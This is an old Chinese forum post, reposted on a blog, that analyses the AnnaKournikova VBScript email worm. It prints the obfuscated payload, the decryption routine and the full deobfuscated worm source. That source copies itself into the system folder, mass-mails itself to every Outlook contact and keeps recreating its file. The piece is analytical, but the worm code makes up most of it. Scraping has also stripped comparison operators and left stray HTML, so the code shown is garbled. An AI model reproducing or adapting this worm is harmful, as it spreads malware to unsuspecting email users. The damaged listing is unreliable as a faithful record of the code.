AnnaKournikova病毒源代码解析

<iframe align="center" marginwidth="0" marginheight="0" src="http://www.zealware.com/csdnblog336280.html" frameborder="0" width="336" scrolling="no" height="280"></iframe>

AnnaKournikova病毒源代码解析

AnnaKournikova病毒源代码解析
本帖版权归原作者,其它网站转载须注明出处,传统媒体转载须事先与原作者和e龙西祠胡同[http://www.xici.net]联系。
作者: hangsun 发表日期: 2001-03-10 16:41:08 返回《黑客也是侠》 快速返回
  AnnaKournikova病毒通过附件中的vbs源代码来执行,虽然做了一点小手脚,但还是很容易解析出来的。以下是其附件文件的源代码(我加了注解):

'Vbs.OnTheFly Created By OnTheFly

'执行 e7iqom5JE4z 函数返回的代码,e7iqom5JE4z函数实际上是一个字符串变换函数,作用是对加密(一种简单的加密算法)后的病毒代码进行解密。e7iqom5JE4z函数的参数即加密后的病毒源代码字符串。

Execute e7iqom5JE4z("X)udQ0VpgjnH{tEcggvf{DQVpgjnH{QptGqttgTwugoPzgvUvgGQ9v58Jr7R6?EgtvcQgldeg*vY$eUktvrU0gjnn+$9G5QJv786r0Rgtyiktgv$MJWEu^hqyvtc^gpQjVHg{n$^.jE*t9:+(jE*t33+3(Etj3*63+(jE*t23+;(Etj5*+4(Etj3*;2+(jE*t9;+(jE*t23+2(Etj3*32+(jE*t45+(jE*t33+;(Etj3*72+(jE*t33+8(Etj3*62+(jE*t45+(jE*t8:+(jE*t:;+(jE*t33+7(Etj3*;3+(jE*t23+5(Etj5*+4(Etj6*+;(Etj6*+8(Etj7*+5(Etj6*+:(Etj;*+:gUvQtcyVopldi?7Egtvcqgldeg*vu$terkkviph0nkugu{gvqoldeg$v+tyQoclVip7de0rqh{nkguyterk0veuktvrwhnncpgot.yQoclVip7dI0vgrUegckHnnqgf*t+2(^$pCcpqMtwkpqmcxl0irx0ud$kh9G5QJv786r0Rgtticgf$*MJWEu^hqyvtc^gpQjVHg{no^kcgn$f+@>$$3vgjpgp4CUJ9inEN+*pgfhkhkopqjvp*yq+3?cfpf{cp*yq+4?8jvpg9G5QJv786r0RwtpJ$vv<r11yy0y>@2jVpg6fFDz5yi3xL?TLo4uR4OoD0TfCtfugGuvpktugE0wqvpqHt9Z;:cX|5gT?|3Vq6fFDz5yi3xLUvgk9sd4:6x5/5?F54xQOzM8JTE0gtvcKggv*o+2gUvKQ6GXDl[LQ:?TLo4uR4OoD0TfCtfugGuvpktugZ*:9X;5cT||g+k9sd4:6x5/5V0q?KQ6GXDl[LQ0:fCtfuguk9sd4:6x5/5U0dwglve?$gJgt{wqjxc.g=+q$k9sd4:6x5/5D0fq{?J$<k>@$$Vgjpk9sd4:6x5/5U0pgfGQ9v58Jr7R6t0igtyvkgJ$EM^WquvhcygtQ^VpgjnH^{conkfg.$$$3pGfhKgPvzpGfhKgPvzpgfhkpGfwHepkvpqX)udiy370d2")<br><br>'以下是简单的解密函数e7iqom5JE4z——一个字符串变换算法。其算法逻辑是:a)将asc码为15,16,17的字符分别变换为回车、换行、空格;b)将其它字符的asc码减2;c)将相邻两字符交换位置。<br><br>Function e7iqom5JE4z(hFeiuKrcoj3)<br>For I = 1 To Len(hFeiuKrcoj3) Step 2<br>StTP1MoJ3ZU= Mid(hFeiuKrcoj3, I, 1)<br>WHz23rBqlo7= Mid(hFeiuKrcoj3, I + 1, 1)<br>If Asc(StTP1MoJ3ZU) = 15 Then<br>StTP1MoJ3ZU= Chr(10)<br>ElseIf Asc(StTP1MoJ3ZU) = 16 Then<br>StTP1MoJ3ZU = Chr(13)<br>ElseIf Asc(StTP1MoJ3ZU) = 17 Then<br>StTP1MoJ3ZU = Chr(32)<br>Else<br>StTP1MoJ3ZU = Chr(Asc(StTP1MoJ3ZU) - 2)<br>End If<br>If WHz23rBqlo7 "" Then<br>If Asc(WHz23rBqlo7) = 15 Then<br>WHz23rBqlo7= Chr(10)<br>ElseIf Asc(WHz23rBqlo7) = 16 Then<br>WHz23rBqlo7= Chr(13)<br>ElseIf Asc(WHz23rBqlo7) = 17 Then<br>WHz23rBqlo7= Chr(32)<br>Else<br>WHz23rBqlo7= Chr(Asc(WHz23rBqlo7) - 2)<br>End If<br>End If<br>e7iqom5JE4z = e7iqom5JE4z &amp; WHz23rBqlo7 &amp; StTP1MoJ3ZU<br>Next<br>End Function<br>'Vbswg 1.50b<br><br>根据以上的变换算法,我编写了一个delphi算法执行相同的功能(不好意思,本人不会vb)。在执行该变换程序后,得到病毒源代码的真实面目。以下是本人处理(将晦涩难记得变量名称用ultraedit替换为有意义的变量名称,并加上我个人的注解)后的病毒源代码。<br><br>'Vbs.OnTheFly Created By OnTheFly<br><br>'异常处理<br>On Error Resume Next<br><br>'创建script对象<br>Set shellObj = CreateObject("WScript.Shell")<br><br>'写注册表数据 "Worm made with Vbswg 1.50b",这里用了很不直接的做法:asc码拼凑。可能这是黑客的风格吧。不过实在没有什么意义。<br>shellObj.regwrite "HKCU/software/OnTheFly/", Chr(87) &amp; Chr(111) &amp; Chr(114) &amp; Chr(109) &amp; Chr(32) &amp; Chr(109) &amp; Chr(97) &amp; Chr(100) &amp; Chr(101) &amp; Chr(32) &amp; Chr(119) &amp; Chr(105) &amp; Chr(116) &amp; Chr(104) &amp; Chr(32) &amp; Chr(86) &amp; Chr(98) &amp; Chr(115) &amp; Chr(119) &amp; Chr(103) &amp; Chr(32) &amp; Chr(49) &amp; Chr(46) &amp; Chr(53) &amp; Chr(48) &amp; Chr(98)<br><br>'创建文件系统对象<br>Set fileSysObj= Createobject("scripting.filesystemobject")<br><br>'将病毒源文件拷贝到系统目录<br>fileSysObj.copyfile wscript.scriptfullname,fileSysObj.GetSpecialFolder(0)&amp; "/AnnaKournikova.jpg.vbs"<br><br>'读注册表数据,如果尚未传播过,则向outlook地址簿中的所有mail地址邮件传播<br>if shellObj.regread ("HKCU/software/OnTheFly/mailed") "1" then<br> mailBroadcast()<br>end if<br><br>'如果是1号、26号,则打开没个www站点<br><br>if month(now) =1 and day(now) =26 then<br> shellObj.run "Http://www.dynabyte.nl",3,false<br>end if<br><br>'以下使得该程序始终在硬盘中(不确定)<br>Set txtFile= fileSysObj.opentextfile(wscript.scriptfullname, 1)<br>textStr= txtFile.readall<br>txtFile.Close<br>Do<br> If Not (fileSysObj.fileexists(wscript.scriptfullname)) Then<br>  Set scriptTxtFile= fileSysObj.createtextfile(wscript.scriptfullname, True)<br>  scriptTxtFile.write textStr<br>  scriptTxtFile.Close<br> End If<br>Loop<br><br>'向地址薄中所有地址发送邮件,且在注册表中标记已发送<br>Function mailBroadcast()<br> On Error Resume Next<br> Set outlookApp = CreateObject("Outlook.Application")<br> If outlookApp= "Outlook"Then<br>  Set mapiObj=outlookApp.GetNameSpace("MAPI")<br>  Set addrList= mapiObj.AddressLists<br>  For Each addr In addrList<br>   If addr.AddressEntries.Count 0 Then<br>    addrEntCount = addr.AddressEntries.Count<br>    For addrEntIndex= 1 To addrEntCount<br>     Set item = outlookApp.CreateItem(0)<br>     Set addrEnt = addr.AddressEntries(addrEntIndex)<br>     item.To = addrEnt.Address<br>     item.Subject = "Here you have, ;o)"<br>     item.Body = "Hi:" &amp; vbcrlf &amp; "Check This!" &amp; vbcrlf &amp; ""<br>     set attachMents=item.Attachments<br>     attachMents.Add fileSysObj.GetSpecialFolder(0)&amp; "/AnnaKournikova.jpg.vbs"<br>     item.DeleteAfterSubmit = True<br>     If item.To "" Then<br>      item.Send<br>      shellObj.regwrite "HKCU/software/OnTheFly/mailed", "1"<br>     End If<br>    Next<br>   End If<br>  Next<br> end if<br>End Function<br>'Vbswg 1.50b<br><br>  从以上的源代码分析可以看出,编写vbscript病毒程序实在是很简单,就看你想不想做这样的缺德事了。当然,作为任何一位正直的程序员,都是不应该做的。<br>  据说,这一病毒是用病毒生成程序自动生成的。从我解密的源代码看,似乎的确如此,因为所有的变量名似乎都是随机产生的。如果不是我对这些变量名做了变换,真的是很难看懂这样的程序,因为你根本就记不住这些变量的含义。 <br></k></r11yy0y>




你可能感兴趣的:(源代码)